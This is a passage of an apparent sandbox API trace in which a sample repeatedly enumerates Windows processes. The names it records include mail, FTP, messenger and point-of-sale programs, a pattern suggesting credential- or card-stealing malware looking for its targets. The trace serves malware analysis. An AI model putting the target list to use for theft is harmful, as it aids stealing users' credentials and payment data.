cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0280.114] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0280.116] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0280.119] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0280.121] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0280.123] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0280.126] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0280.129] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0280.132] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0280.135] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0280.141] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0280.144] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0280.147] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0280.150] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0280.153] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0280.156] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0280.159] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0280.172] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0280.180] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0280.183] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0280.185] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0280.188] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0280.228] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0280.231] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0280.234] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0280.237] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0280.240] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0280.243] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0280.246] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0280.252] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0280.255] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0280.258] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0280.260] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0280.263] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0280.266] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0280.269] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.271] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.274] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.277] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.280] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0280.283] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.285] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.288] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0280.290] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0280.293] CloseHandle (hObject=0x21b0) returned 1 [0280.295] Sleep (dwMilliseconds=0x64) [0280.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0280.312] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.314] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.316] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.318] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.320] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.322] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.324] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.326] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.328] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.329] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.331] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.333] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.335] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.374] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.376] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.378] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.380] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.382] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.384] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.393] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.397] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.399] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.400] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.403] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.405] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0280.407] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0280.410] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.413] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.415] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.417] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.419] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.421] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.423] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0280.425] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.427] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.429] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0280.431] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0280.433] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0280.435] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 